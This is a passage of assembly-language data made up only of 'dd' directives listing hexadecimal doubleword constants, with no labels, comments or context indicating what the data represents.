		dd 93005DF2h, 785C7A0Ah, 0A0481A0h, 0D280B550h,	0EA5841E8h
		dd 0ED98100Bh, 0CED601B8h, 0DAC59A7Ch, 892F6017h, 6371DC2Ch
		dd 0B54AD906h, 0A3403D1h, 6E096AA1h, 0D263C188h, 59610600h
		dd 67E6BFBEh, 6DE72839h, 4CDA45ECh, 0F700EB54h,	10C83C2h
		dd 90754647h, 0E064F864h, 58049270h, 316EEC35h,	124E03C0h
		dd 0EB0029FBh, 8962B65Fh, 90A7DD59h, 2738CC88h,	0F87FE4C9h
		dd 78E039C0h, 5320ACCh,	0A1BF8A86h, 0A8BCD2h, 35E98D76h
		dd 0FD836Eh, 0BFE331C7h, 0E7232FEEh, 62003C9Bh,	78204BF5h
		dd 0B674FEh, 596910E3h,	7EFD043h, 0C58A2284h, 1160CF48h
		dd 5210ACA7h, 80B68862h, 0E12B6181h, 910009CCh,	0DA2C60EDh
		dd 50E5CF3Dh, 1E197CFDh, 804E5B30h, 9A0F66DFh, 0DBEE9EA7h
		dd 58016305h, 8000A3F1h, 258F0A59h, 44089A72h, 0FA004F67h
		dd 34CF7939h, 3EBE668Ch, 0FC066FFDh, 0B1D781B5h, 0B7EDD218h
		dd 0C00DEB99h, 381BC5F9h, 6D05A7D8h, 156CDC4Ah,	83EB1804h
		dd 5DF39C40h, 423002B2h, 4A4421D9h, 300D888Fh, 874B492h
		dd 0EF822F9h, 67C28197h, 0EA614550h, 61D6F3CAh,	0E9F492C0h
		dd 47C38083h, 3BC58802h, 66D18DB5h, 94244h, 0A861905Bh
		dd 303E6420h, 31906C6h,	989034F3h, 0B4445F03h, 0D933E35Dh
		dd 4998D868h, 1D46705Ch, 0C65A0600h, 83804E05h,	470E00D6h
		dd 9ED2938Ah, 0A23E635Bh, 7F1E0013h, 5CC287B2h,	268400E5h
		dd 1207ACB6h, 0E715946Dh, 0BC6BFDh, 56F632F9h, 0F0CD0E8Bh
		dd 467E1813h, 0BD0578C0h, 0E4654503h, 0A0CA9CD3h, 491BD15Dh
		dd 35223C27h, 0C6A70100h, 5A098A8Ch, 0E8020FAEh, 480F1714h
		dd 58038901h, 40022E5h,	753980CCh, 6894C30Ah, 0D5D305E3h
		dd 9984082h, 44CA6275h,	3F60E400h, 7308EE79h, 0D3E30F0Ch
		dd 0FD86F494h, 1773C961h, 0D0A2126h, 9C030326h,	0B7AE5C01h
		dd 2BA9B4A0h, 78EF1DBBh, 5A30F054h, 81C033EAh, 0F795633Ch
		dd 9A4D0E4Bh, 0F100E6D1h, 9FFB8BC2h, 32CE7E04h,	389514CCh
		dd 22E41054h, 7E1F0003h, 29069854h, 0E8C3BBC5h,	32EB35h
		dd 79C96721h, 92FA73Dh,	40478800h, 0B9A3BD7Eh, 4DAB17CCh
		dd 0B762042Bh, 0E85C88E6h, 56310E9h, 0BC892429h, 782162A0h
		dd 0AE406624h, 6AA55F38h, 7B588004h, 67C0E0EFh,	49A30FEDh
		dd 4510F0A2h, 80898867h, 0B29CFCBCh, 0DD00E75Eh, 5F14232Dh
		dd 9FDA068h, 4D024F5Dh,	0CAF9819h, 39A42CD8h, 35D260D8h
		dd 0F6004B44h, 0D5B13A3Ch, 7539FE11h, 8B0A8h, 3B5E40FDh
		dd 652276FAh, 5718FB72h, 18A1A4DEh, 669F26C3h, 0DF8F42C8h
		dd 0E106C11h, 0D80AEADDh, 50FE9E2Dh, 0C5BB46C5h, 78248202h
		dd 314428E4h, 728A1F02h, 87C60B99h, 7054F487h, 91C5A25Ch
		dd 0F5B85A06h, 228979D1h, 8D293AEAh, 8391CCDBh,	86E59F0Fh
		dd 0D88FE320h, 0E40390EBh, 6DBDD151h, 356490FEh, 0E8BF480Ah
		dd 8504504Ch, 81EB6574h, 32E6C5A4h, 22863E0h, 0B446A85Bh
		dd 8963042Dh, 90A2F501h, 25DB524h, 1E629090h, 0E4F8DF40h
		dd 55472238h, 0A1905A05h, 5000ECD3h, 815F1C98h,	0D83D49EAh
		dd 0C0000F22h, 7FDC58F3h, 139B87F6h, 501F92EDh,	0EC0BFC34h
		dd 0CF816031h, 0CC93D56Dh, 45003DA6h, 351FA43h,	0E1C13h
		dd 265C36AEh, 93CDFC98h, 6301C370h, 0A3ADC6CEh,	8980B04Ah
		dd 0DEEEBCABh, 3C008925h, 8BA0A8F5h, 0CFB450h, 0F414A50Ch
		dd 477F3548h, 13D9500h,	9CBFCBE7h, 0D2910078h, 0BA9D1C9Fh
		dd 0FB260312h, 4406A0E9h, 30618F90h, 4FD90CEBh,	1300387Fh
		dd 5B3725B3h, 28EEC71Fh, 148030E7h, 0AC518A9Ch,	418B4A86h
		dd 0E010B000h, 3706EBEFh, 5A722CD8h, 0C7C44590h, 605E124Ch
		dd 0A21C6410h, 0DC4000B4h, 7356E370h, 3431024Eh, 3C6FF27Dh
		dd 6C00CCC6h, 262BE927h, 611E71h, 638B7AEAh, 7CF01FFh
		dd 22A0EC00h, 0F1738CDBh, 151D004Dh, 657CE3D5h,	43008A55h
		dd 4B0350E2h, 38063018h, 0FE45EDh, 0A9AFD6Dh, 833BCCF6h
		dd 37129674h, 508882B5h, 250A725Fh, 0EC027AFDh,	5C643667h
		dd 4D651C0Ch, 0DBC98Ah,	8D8C3528h, 0DE42C97Ch, 9C8823Eh
		dd 40528FB4h, 13D3CFA0h, 2E16746h, 0D1583656h, 0E644048h
		dd 87593E69h, 0D0CAEC18h, 0A3B450h, 0F9D2AD4Fh,	656FDAEEh
		dd 20D4CC26h, 0A7380B82h, 0F0604498h, 676E0A26h, 82C200Dh
		dd 318265FDh, 0E039B2C2h, 1FCC71Dh, 0C54081B8h,	63EEA00Fh
		dd 273A70h, 542D7AC4h, 122B8F6Dh, 880FF163h, 4200CE60h
		dd 31F31B3h, 0A096D3E1h, 90C9F908h, 0AC6C20B8h,	1CDC6B22h
		dd 1D6D68FEh, 0E20C0145h, 60F22CFDh, 0C27B5BE8h, 0AC4AC429h
		dd 80BBA700h, 1686426h,	297BDD3h, 24BEB958h, 444803F0h
		dd 34EC03FBh, 229A4543h, 92F86CE8h, 3D13600h, 150181A7h
		dd 5238C0B8h, 533280B5h, 0AA00CCA6h, 352A8A3Ah,	8B83A058h
		dd 602837FAh, 8DF03BAh,	0E8C9DE16h, 914845A8h, 34052568h
		dd 8308009Dh, 0A676D4Eh, 6B30F0A4h, 268549D5h, 738A007Ah
		dd 0D194A603h, 2E12F9DCh, 0EB07B2B9h, 9890258Bh, 2E423C76h
		dd 1A7C141Dh, 7CC81187h, 0CC2ECE0Bh, 6160283Ah,	0F9C273h
		dd 2E962CB5h, 0B30587D4h
		dd 8AEC243Ch, 905E36F6h, 20A6441h, 65E43980h, 1BD49C05h
		dd 3E508C0h, 3DA55115h,	0FBB8357Fh, 0EC196748h,	0FCBBC1C0h
		dd 0C44B8AA0h, 1D091C44h, 9700ACB2h, 79744282h,	3700CE44h
		dd 86F6699Bh, 1AB0BB5h,	63B4CC08h, 80515D35h, 6B03CF91h
		dd 0F664559Dh, 0FC9A0EC0h, 6341157Fh, 4116FDE3h, 1003095Ch
		dd 922CD1Fh, 185FFC7Dh,	82218064h, 663F00E6h, 98351E89h
		dd 0C356D2A0h, 0A916F303h, 826E14A3h, 1C4C64h, 28056B0h
		dd 45EE7543h, 61854200h, 640B2465h, 658A0D9h, 38E8B180h
		dd 234374Eh, 0D4503E47h, 1078C45Ch, 6B25C586h, 0DA137020h
		dd 25008241h, 5C8A5B0Ah, 1947EB72h, 0E184CC7Dh,	0D0508409h
		dd 40C201C0h, 0E4C01A0Bh, 471EE4CCh, 0FF097F99h, 15A8616Dh
		dd 80B34A11h, 2897ECA1h, 10EE49h, 0D88C99B7h, 85DAB538h
		dd 3690D401h, 0E95A0EA7h, 0E065C8CCh, 44B49631h, 0D64D406Fh
		dd 5CA63DB8h, 204E5779h, 6571850Ch, 30FAD400h, 76C56494h
		dd 0EA357F60h, 27677050h, 0ACB0C0F8h, 3C00A6EFh, 9C7337F0h
		dd 1109D56h, 0D9CDE2F9h, 0C66DB6D8h, 0B026E453h, 81EC5B14h
		dd 6B7AA4C4h, 0E4003C39h, 16CFA2E2h, 3460EAB7h,	0CEB677C1h
		dd 20FD0198h, 75E2F10Ch, 7A02C806h, 7B8BE804h, 0F88887FAh
		dd 350C4403h, 0E1525C37h, 0C8816360h, 632C9022h, 6DFCF92Dh
		dd 56A9211Eh, 362BABC2h, 1086EDFh, 1982A708h, 0E049FD84h
		dd 4D4F6A4Ch, 51F51840h, 0AA9FA96h, 0EB88E2C7h,	9945005Ch
		dd 7276FF16h, 8771B200h, 0FB0D154Ch, 0ECFED5h, 0A0505FF3h
		dd 2B15DFFh, 34224F4Ah,	20281991h, 0AB27984Ch, 0D358A0FDh
		dd 283B8F1h, 0B69A7F62h, 3CC03E71h, 988B81D2h, 2CE5E12h
		dd 354EECDCh, 0D87244EBh, 257F5122h, 4A50B64h, 11C8A46Bh
		dd 80AC1439h, 0C866D7B0h, 0E88D69B3h, 5F5513CCh, 0C0810920h
		dd 0C9E47CE8h, 79B24B30h, 0F3EAE8h, 2E079219h, 0C1740981h
		dd 29D5FF00h, 0E3013CCDh, 404D4E3Ah, 9E639BB0h,	7400F1B5h
		dd 8A367D46h, 0B91FB6Fh, 0EA574385h, 5533B404h,	5C6909CCh
		dd 2B44E9E8h, 925F4440h, 708D4CB4h, 27E9C19Fh, 2848CDBDh
		dd 2CA124B0h, 945D4A60h, 7A1D009Fh, 17B7872Bh, 0F80E5F5Eh
		dd 6079F9AFh, 8DC1ED97h, 9501263h, 0EE47238h, 545B3521h
		dd 6C058033h, 8C6247EDh, 523C9038h, 0D0DB0007h,	0D15FC133h
		dd 10224A23h, 0FD00244Ch, 5DD48259h, 8E00ACECh,	67B56D9h
		dd 283FCB2Bh, 2508DAC7h, 0EC1037FBh, 0D800336Fh, 92F12239h
		dd 0CC87F9h, 8F8C09E9h,	7546429Eh, 0EDF8C905h, 80A22FE5h
		dd 0A1D94518h, 64545DBCh, 68002758h, 0B5D6A9EAh, 763FBB91h
		dd 0A0E54C58h, 7919DC18h, 279871D7h, 45C5E300h,	784E978Eh
		dd 0C04D5C63h, 9B3DC381h, 24F0FA6Ch, 0A0D5D327h, 0E389642Ch
		dd 91F30BD2h, 349AED65h, 84EA6482h, 35C17A11h, 0C09137FCh
		dd 71D48B58h, 0C02EED98h, 0C8B8F4D5h, 0BB400200h, 6C45355Dh
		dd 415F136Ch, 3E4160Eh,	0A3DF3EE8h, 0D8976928h,	3B944C00h
		dd 1EC3E366h, 45FA25A0h, 8464B010h, 0B4ADFF00h,	935055Dh
		dd 602D32B7h, 0B4E4FC50h, 291D2476h, 0CD44B470h, 7CDD0C5Eh
		dd 1325B810h, 19375AEh,	0B3C357AFh, 2E834D28h, 0CFF5D00h
		dd 4E55BEDh, 0DB53CAC8h, 580CA2C0h, 6C7BC148h, 44500A5Dh
		dd 0B488D3D2h, 5FE64470h, 2441825h, 60575919h, 1736B480h
		dd 2000326Dh, 89F216DCh, 253E9CA6h, 0E0250E67h,	0B50481E4h
		dd 9AC238Bh, 0C82A5E4Dh, 13E9CD04h, 93D4BB37h, 0D0880364h
		dd 890446A4h, 88E8BA53h, 3005CB6h, 0D368F113h, 8CE2D22Bh
		dd 0C28860A0h, 78BA6389h, 0CEF0DFA2h, 4513090Bh, 55D8346h
		dd 0B08BD326h, 256A9C24h, 3C9035DBh, 0F31D7D75h, 5A001CB7h
		dd 3C870B62h, 7661C03h,	643740DCh, 94F65CD5h, 35481105h
		dd 9843E758h, 0D3836D59h, 0D3D6E050h, 0A10261EEh, 0C25FF59Bh
		dd 504C3150h, 980CCAA4h, 705A6EC0h, 0F2631D67h,	5229F00Ah
		dd 0D45C8AFEh, 40358EB8h, 16A63139h, 80F4B46Bh,	42A77710h
		dd 2C00F697h, 12F0ABBCh, 0F1D716Dh, 0EC417649h,	2484E309h
		dd 2294507Fh, 40FC5AA8h, 0D84AA70Ch, 0B03853DAh, 284E804Fh
		dd 3AAA92FEh, 0B91107F0h, 0CAFD9D61h, 723580CCh, 0DC3C65E4h
		dd 0B3896700h, 0D560E314h, 66220FFCh, 90008D74h, 0CE2080D2h
		dd 0CB88CC0Fh, 1ADAC06Eh, 2E4B687Ah, 384DE92Bh,	23B420DBh
		dd 5A1C430Bh, 0A46608AAh, 91D1D242h, 788064FCh,	0EAECDBCEh
		dd 4B2D5333h, 8AB0A0FAh, 68DAB0h, 0D0662356h, 801D9889h
		dd 99E61890h, 4FD25240h, 0D90021D5h, 6E1060B1h,	0CB7C988Ah
		dd 0B40D00B8h, 0FC0ABB15h, 0AA3EEA3Bh, 561897F0h, 8BE9C008h
		dd 0D8900264h, 55C801Bh, 0E8EA2A20h, 5B16C807h,	1FDF5935h
		dd 0B456C387h, 0CB047CDAh, 48C24316h, 6EB09095h, 0B2070F83h
		dd 0B487EEA4h, 186551DBh, 0E448887Ah, 0D04B1285h, 0BB13BCA0h
		dd 693AC901h, 0D9D43BB7h, 9AC14061h, 68545D08h,	0CA90E58h
		dd 63191154h, 80D98888h, 9A47833Eh, 0C7DEFD3h, 8EA5570h
		dd 39002439h, 0EB761CFCh, 0FBA590h, 0C65F529Bh,	2D6CA1CEh
		dd 9DCCF000h, 0E5E7EB2Ch, 44943B19h, 0C30628BEh, 8ED4268h
		dd 6042D1Ch, 0FDA67BC0h, 3B6EA763h, 0F6B059AFh,	7E8DFF21h
		dd 93741F18h, 0C05BDC59h, 0E8C1C308h, 7809BF9Eh, 55334851h
		dd 98A6AA80h, 40C0F375h, 9705F62Ch, 0F1570A31h,	11401DE7h
		dd 67C800ECh, 519D82DBh, 49EEB2h, 0D0A0C55Ch, 5ED49FA5h
		dd 0A40CA171h, 7967DDFEh, 0DFFC0010h, 0D042C225h, 666107B3h
		dd 0F2691C59h, 0DB858E07h, 0EA380823h, 81291E8Bh, 274731FCh
		dd 8807D890h, 0DE988058h, 67978443h, 13BA7D00h,	5D56AC80h
		dd 71F90057h, 27ECED33h, 0E018CD60h, 59396244h,	0CF9DEA3h
		dd 0C189FDCFh, 4F973300h, 0B252A29Ch, 0D78E300Dh, 513AE7D6h
		dd 25E5F114h, 0C4631160h, 0DB8FA300h, 0CF4CC676h, 6C5BB300h
		dd 0EDE7BFA0h, 44EA0C69h, 3519CE79h, 28130703h,	0D09FEB4Ch
		dd 8A6C7h, 5AC80D93h, 0DB7DF997h, 16A981EBh, 6A77EC46h
		dd 7FD9741h, 8F40661h, 0CF7A007Eh, 0B430C78Fh, 281FAAC4h
		dd 7EFC09h, 763973A3h, 0BF4CDBh, 42EFE225h, 144EED5Fh
		dd 0EECC8F06h, 28115E6Ah, 30140377h, 67E12107h,	860E5090h
		dd 9E3E9479h, 0B1F617C0h, 95853B8h, 0A342112Ah,	70200Fh
		dd 9E3B8F2Dh, 48AA5EDDh, 0FF2A7990h, 8DC4890h, 75C2180h
		dd 0F38A441h, 6CC060DDh, 1D74583Ch, 8BEFA334h, 0A3805DCAh
		dd 6E92328Eh, 0F6113561h, 0E4418AD2h, 0E8106D43h, 0A524F86Ah
		dd 3F475807h, 0FFC00DE4h, 1DEE7C2h, 0AE8E90B0h,	0C406C9ABh
		dd 0CA0E870Eh, 80862FBEh, 0A20B3B76h, 276C0059h, 0AB353758h
		dd 790098A4h, 0D20C427Ch, 0EF20E5h, 444C161h, 0F7BA637h
		dd 0C2A0A401h, 71FFD596h, 3450B271h, 90476C31h,	0FBD41E75h
		dd 0A5FE0388h, 78906DE3h, 0A8C02C39h, 47293570h, 280160BBh
		dd 0EB6B1CA1h, 534498A4h, 76E400A0h, 9E4C8C03h,	52139FE3h
		dd 0EC1F7375h, 5A727B03h, 5B87809Bh, 1C6C030Bh,	5C45E039h
		dd 0A8594109h, 7414EDh,	9B713C7Fh, 0A2D06C11h, 76002C7Ch
		dd 270CE4B6h, 0CC6644E1h, 3A528841h, 2BAA8100h,	0E0CA6E8Ch
		dd 3064507Eh, 0E1D544A1h, 0DBF14645h, 0C126B20h, 0F9CF2701h
		dd 89054819h, 8880797Eh, 9D29FC00h, 0C0C2771Ch,	2C8FAC21h
		dd 0F091DB27h, 0E6A43F00h
		dd 71635Bh, 4A4EF7E1h, 0A0CD8004h, 0CA27339h, 41C5621Fh
		dd 5097843h, 4BE7B457h,	4972C676h, 0EB0EED7Eh, 4C095C7Ah
		dd 2AE1087Bh, 50746045h, 2A4446Bh, 0F1565D69h, 800F2ADAh
		dd 8F573935h, 26A0436h,	0D0C6A658h, 0E8F15000h,	42291F62h
		dd 9864EEh, 63357675h, 0B5A9AF4Dh, 0CD1A7E12h, 3013100Eh
		dd 0EFA7590Ah, 62884FA0h, 50AB26BEh, 60716B46h,	3AFBA17Eh
		dd 8F48FEE2h, 0CEE10C38h, 373B9F1h, 59E3539Dh, 970948h
		dd 71BDA816h, 93428013h, 0A410FA12h, 82A381C8h,	7B70DBA0h
		dd 3109F0CDh, 7980AAEh,	86D19D18h, 9BE34942h, 9FDEF2h
		dd 0E1D177F1h, 1EE404A5h, 0CB9EBF1Ch, 38196A80h, 29F2E847h
		dd 11881BE7h, 0FB2300E2h, 0F8D30490h, 6C9C0028h, 0A25B0DA1h
		dd 61E21FC2h, 0F299FA61h, 41802BE8h, 0E7B256CDh, 0C767EA4Dh
		dd 28024621h, 0D1B86069h, 34F6746Eh, 0C7696D1Ch, 0C95D41A8h
		dd 8B1180F5h, 0B0962473h, 0DBF90336h, 0EEE34216h, 46402E98h
		dd 8AD04348h, 778EC061h, 1FB8D545h, 0DD827DF8h,	9060DFFBh
		dd 3087CB34h, 0A2287F17h, 5929E7F7h, 7A96E8ADh,	20483838h
		dd 7C00F5DEh, 0A25009BCh, 3927082h, 1768EF63h, 819DA560h
		dd 1029D9C4h, 1503BC7h,	4762CD13h, 30CB63D5h, 0FE24D830h
		dd 0CA8C9CAFh, 894CC964h, 0FDC44807h, 0BA36A100h, 3B56E2F9h
		dd 0FA850026h, 0CCED1A6Bh, 111423DCh, 48180603h, 0C87440E0h
		dd 97E9E602h, 0A41F74EFh, 0D2C1CC0Ch, 0AFCCA234h, 1912043Eh
		dd 81A37DC0h, 15F374A8h, 95448Ch, 6F5CB727h, 47FA21EAh
		dd 253DFB00h, 0B262A06Bh, 0E8430370h, 494FE5A3h, 0EE1B15B0h
		dd 2607A418h, 0EFAE8799h, 0F5AECC8h, 7646E7B7h,	3EF432F2h
		dd 6C4E4404h, 89E8CF86h, 0AA710C00h, 640C405h, 95079A8h
		dd 0DCCA8DC5h, 83696700h, 0B3001DC7h, 0E497F9EFh, 6078FDA4h
		dd 675487Dh, 9602F663h,	0E0B4B8BFh, 15206470h, 8CF1A959h
		dd 9EA35003h, 1102B273h, 709C05F7h, 6C3610F6h, 0AC5D2800h
		dd 0A3303588h, 0BE5A2637h, 227D133Ch, 6C416D44h, 74C6F8A8h
		dd 0A8CBCC2Ch, 0A10A8640h, 0AFE90025h, 0FB55F6A5h, 0B5483E57h
		dd 0AB97126Ah, 0A328EC00h, 4CBE96E7h, 5000ECEBh, 0B5CC7F7Ch
		dd 68167844h, 1427DCB7h, 83BA21F1h, 3BAEEBECh, 8801512Bh
		dd 0DFB26A22h, 6EC3F0ACh, 0D0B174B8h, 9199180h,	18ABC6CAh
		dd 18F73429h, 7F29F82Ah, 0CD0098B4h, 0DE64A3Ch,	27E4A1A4h
		dd 5BE03110h, 0C50902F6h, 90709D6Ah, 4CDD7714h,	0B3E6EBFh
		dd 4845B086h, 0E07B11BBh, 616F8300h, 3D16DA75h,	0F7684C97h
		dd 8CEB40h, 0BA5DC7A8h,	0C3E67A2h, 28600230h, 0DDD36Bh
		dd 0ECEE880Dh, 3755DC4Eh, 0D484AB01h, 9E914B06h, 3DA1E8h
		dd 932AEE77h, 6B091EF2h, 0E20568C3h, 7A490572h,	64F9927h
		dd 89596F91h, 8BF8DD02h, 40F26EBDh, 0E063B238h,	96C60F2Dh
		dd 99C4F3D8h, 640FC0BAh, 59C0155Eh, 918646F7h, 6EA00007h
		dd 44D9FF51h, 0E6F84EF2h, 0FCB8803Bh, 5AC23103h, 1E063228h
		dd 0D3229C39h, 74CACF0h, 39ADEDB6h, 676C23A0h, 0B06D0060h
		dd 0F049DEEh, 8833D76Fh, 0AB8BA98Ah, 1FC878CAh,	0C2145E4Ch
		dd 429E5496h, 0F72B7060h, 9224EB05h, 0A3C05ADBh, 288BE012h
		dd 18A85DB2h, 41E3F064h, 80F16FBAh, 3836D59h, 9EC605h
		dd 547D7C67h, 0A18029CEh, 8DF69507h, 8A4017E8h,	6572E12h
		dd 85D7756Fh, 643C415Eh, 3D5963F3h, 0B9E9000Fh,	8B6DF4EDh
		dd 107C463Eh, 2712AC00h, 0C6516F4Ch, 1552019Bh,	6D4F215Ah
		dd 0F261C894h, 0BE2ADE00h, 0EAD98E4Dh, 0D3FF0249h, 97E34190h
		dd 172ADC8Ch, 1240D1Eh,	9F853130h, 186575ACh, 390AFF50h
		dd 0BE18A5C3h, 0E67097BFh, 8AB09ADh, 40108CD4h,	4552648Bh
		dd 95FC18E8h, 151AFA1h,	0C3A918DFh, 989F1DDDh, 57191510h
		dd 0A08C387h, 71303074h, 5CB20809h, 31B8CC4Fh, 38008310h
		dd 25772BE9h, 78B23FB3h, 47CFA80h, 6A565BA5h, 2D5A80F2h
		dd 8E061068h, 3321D23h,	0A6920F91h, 0AAA09D91h,	528C455Eh
		dd 80533D38h, 6C51E972h, 35DF91A4h, 80D1606Fh, 59FA2DEEh
		dd 0BC1BB700h, 1471D9FEh, 358D2A0Ah, 9D8900D0h,	55F18038h
		dd 9766534h, 0B30040E4h, 134D2564h, 522277F5h, 17058C61h
		dd 40602379h, 0DBEA1808h, 7A2491F1h, 3E3B24E6h,	29206088h
		dd 128DB71Ah, 448C8AD7h, 906E02BCh, 0A5A0D1C0h,	0A26C7004h
		dd 0A88264D2h, 0EE0521C5h, 1529806Dh, 0BB8DF18Bh, 8A591E50h
		dd 0EF04C339h, 200CC5DCh, 7861E67Dh, 26D9C709h,	0C6E483F6h
		dd 0A6BA1102h, 2FCB8A65h, 4B808E60h, 0C40FF3B0h, 0AE1892D1h
		dd 0F15BA015h, 8326E7FFh, 0B464F5D8h, 0E8502262h, 0C6052FC5h
		dd 28B45E32h, 0AE7C00DCh, 7A17CAD5h, 8A005F5h, 1A0C5280h
		dd 315883D4h, 39666002h, 45426FFCh, 0AD15E000h,	0B4BB2497h
		dd 3FD2001Eh, 5D700788h, 0C5034F09h, 1C28352Ah,	9041DD32h
		dd 0BF7BB476h, 0A960F7D6h, 0E100B201h, 99D8805Eh, 9D5DA0h
		dd 649523F5h, 7415A9EEh, 5EBA7701h, 0D3E32872h,	0C0ABCF0h
		dd 0B60C83F6h, 9898EA90h, 5322907Dh, 626F3003h,	0A5B2E4B9h
		dd 2F6DCC00h, 7C33D076h, 0D25E788Ah, 53F00D21h,	11B827B0h
		dd 640A69ECh, 6EF00B52h, 8E230091h, 2704FC53h, 912A002Ch
		dd 730E57DCh, 0FE006A45h, 0EA2E9856h, 3EE9647Eh, 62077594h
		dd 0C1C60C37h, 20818BE2h, 0C039734Ch, 0A28D93F0h, 2B024022h
		dd 0D8797100h, 0D600638Ch, 0DBF2B80Ch, 7A990B6Ch, 85770F25h
		dd 5409AC98h, 0B399C943h, 0EB589082h, 23F37204h, 6C348110h
		dd 0FB2D0015h, 0FE5906E0h, 0D1702F97h, 0ECBA7A1Fh, 283E6F24h
		dd 0EA4C0C07h, 7C332850h, 8047277h, 89D41D53h, 18BDC88h
		dd 9E7C14F2h, 7096F4ABh, 0C778BA98h, 1D5B600h, 0D9623FA2h
		dd 0ED2A0060h, 0DA190227h, 79079241h, 7775953Dh, 636EB3h
		dd 90560651h, 6792FD7Ah, 0BF64C801h, 65021784h,	9CE28980h
		dd 73B160DCh, 69E68100h, 4F8A37C1h, 0A22A0F50h,	45E9581Ah
		dd 1130D028h, 680E7C61h, 60026706h, 0F5147054h,	0BC2A543Dh
		dd 87EB00F6h, 158A1FE5h, 0BE007D5Bh, 11A2C6B4h,	396BA20h
		dd 42472F5h, 14A053EEh,	0DC558D74h, 9A6530E0h, 602FBC31h
		dd 20B92690h, 1B818A00h, 6E8FD416h, 0E73389C0h,	0CF4200Ch
		dd 8EF8B312h, 0BF008F18h, 29ED2E51h, 1616DB4Bh,	5FE69E2h
		dd 0C2D3B864h, 84A2675Bh, 0EEC032C2h, 557B9F42h, 25203C00h
		dd 0E6387E12h, 600D728Ah, 315D9830h, 5B35644Fh,	648CE904h
		dd 0C59A00BEh, 904C23C7h, 52385065h, 0F50C898Fh, 978C101Fh
		dd 0EC704404h, 0B02AE63Ch, 8D8B08EAh, 46091D6h,	805A335Eh
		dd 0AEFA4ECBh, 0A687061Fh, 39490D18h, 0EACF00FDh, 0D6D92570h
		dd 690735F5h, 12BA8140h, 0E056C6h, 307DA934h, 75DA2215h
		dd 8B5FF01Ch, 0AB12F680h, 3C725Ch, 21665D91h, 9FBD01BFh
		dd 6F67F500h, 86FE6413h, 3FD7F2Ah, 9BCE0F7Eh, 0EAF84120h
		dd 0BF0CB769h, 2065FED0h, 4EE249h, 7A2925F6h, 72A93553h
		dd 8037CD37h, 662AC080h, 2D250CE0h, 0DD204DA6h,	396922h
		dd 0D1951546h, 0C30C2AE8h, 36065Ch, 0DCB1B9EDh,	37583A14h
		dd 60D195F9h, 0CF728208h, 40A42430h, 0C0032B3Ah, 8A43DD79h
		dd 3C6054BDh, 4C057D10h, 379A3A18h, 2DCD9B00h, 7AB5E995h
		dd 5E42E400h, 0D9B4DEE6h, 840831F1h, 358CE58h, 356100DCh
		dd 0E70BBE07h, 6E00BC48h
		dd 145DFBF6h, 0E2F959D6h, 5B68C331h, 403E8B08h,	554054h
		dd 35F16F24h, 0B1F2197Eh, 5C79EE19h, 0F81CF611h, 0C995B741h
		dd 7D0E9454h, 0DFE7A683h, 915C26B2h, 58008D79h,	138AB7B3h
		dd 0E6D8C41Eh, 0F3880117h, 91C590A0h, 0CF4DC0C7h, 2BD6C906h
		dd 514CBFh, 0FAAEF6CEh,	6115113Ch, 60B9433Ch, 5CF70959h
		dd 0A4EC5257h, 0C0D1DB1Dh, 0FDF0764Fh, 580A1D2Fh, 0F47BA1D9h
		dd 55413F64h, 0C0A620F4h, 2306A837h, 50A41A54h,	0F7D00079h
		dd 69CF2128h, 0D1286CAAh, 231F08DFh, 1B40F804h,	0BFB46FA8h
		dd 0F35201C4h, 151DB82Ah, 3269E084h, 402D69CFh,	6285E16Fh
		dd 0B45701FDh, 0CA09F859h, 2C46E6A9h, 6012FA00h, 9E23A104h
		dd 1D110714h, 0EAB24213h, 40540A78h, 68BD40B4h,	270B4512h
		dd 8FF90AA2h, 5F15C0DDh, 7B010240h, 93CA306Bh, 37536230h
		dd 58C2B700h, 2E302FB9h, 54A118D1h, 4315149h, 91CBD050h
		dd 2C0AB090h, 9C75273Ah, 1236C442h, 0F4BDC961h,	4B06595Eh
		dd 487602CCh, 4978B528h, 0F0651403h, 0A09B94B4h, 0BB2A52h
		dd 0AA584BD8h, 0CF0A575Bh, 0DD8BFD01h, 0EA2D157Ch, 0A0784AF4h
		dd 0AE0BA0h, 0DEC96D29h, 6E7E7C17h, 62FC0900h, 1A4F22D6h
		dd 882E543Ah, 0FEDC0CA9h, 2A11AC8Eh, 1089BF00h,	0C751E75Ah
		dd 957422Bh, 4132F4Fh, 0DB403BE4h, 5C03C6C8h, 84ED9000h
		dd 1BDA1C79h, 0BE290059h, 45745797h, 0AC91B743h, 7926B100h
		dd 60D72F25h, 0D1618052h, 0EC0091D9h, 562A6A42h, 51950B7h
		dd 2BCE280Bh, 0D00805BEh, 581405F1h, 7D984FFDh,	160B10Ah
		dd 625DDC09h, 5822F7h, 0AC8C8FFCh, 781C19B6h, 86750BCh
		dd 22906Bh, 0C3A88243h,	0DC9BB9EAh, 0D825F00Ch,	2EDB417Eh
		dd 309FE1C7h, 19962A11h, 3877603Ah, 5ACB0048h, 84C71067h
		dd 1F132803h, 68C61DD8h, 0D8C41C54h, 92C5A93Eh,	6017FEFAh
		dd 6E00FB9Eh, 665EC14Ah, 4E37A0Fh, 22010D1Bh, 0F47CC0E2h
		dd 1C06114Ch, 5BDFF7C5h, 0BE6438E1h, 0AFBAE980h, 7A738445h
		dd 0FD007E74h, 0D15A2942h, 24BEF096h, 2910DC85h, 0C0AA1CF4h
		dd 0FE4D18C7h, 0BE24308Ch, 83090F4h, 0A1A510DCh, 0D81033ECh
		dd 9D0C8FA7h, 0F97683A6h, 497A0068h, 31DDF1DCh,	450119E7h
		dd 9DF40B8Ch, 64204737h, 212506C9h, 8C22622Fh, 2A40FD50h
		dd 8048BA4Ch, 0C14D08CAh, 59DF30F0h, 29B25621h,	0D2958A00h
		dd 10115596h, 335A1736h, 243800E5h, 22642F01h, 0F7D15C15h
		dd 91BC212Ch, 0A7DC1138h, 8B1EAC01h, 0D8C230EEh, 0F97F898Ch
		dd 657511F2h, 4A245213h, 24F8D822h, 0B93CC868h,	8138D02h
		dd 40F65769h, 13F41BCCh, 20ECB76Eh, 308EFCDCh, 5EB231C2h
		dd 0A1D88419h, 77FDEF40h, 0B400E6FAh, 5F22670Fh, 0E478C01h
		dd 6A0D8621h, 93CD7923h, 0BBB781A8h, 28F4838h, 6F897CE1h
		dd 0E4622Ch, 3583C32Ch,	21289A73h, 0F003CD3h, 0DBED6EFCh
		dd 54F10264h, 0B64221FDh, 0F03E8C44h, 88E84DE5h, 0DD927Fh
		dd 945F8C0h, 0CD010A7Ch, 0BE23C4C9h, 182330C7h,	3A9D7203h
		dd 39007382h, 27B5565Ah, 87D4B0h, 0B6E4B254h, 0B486470Eh
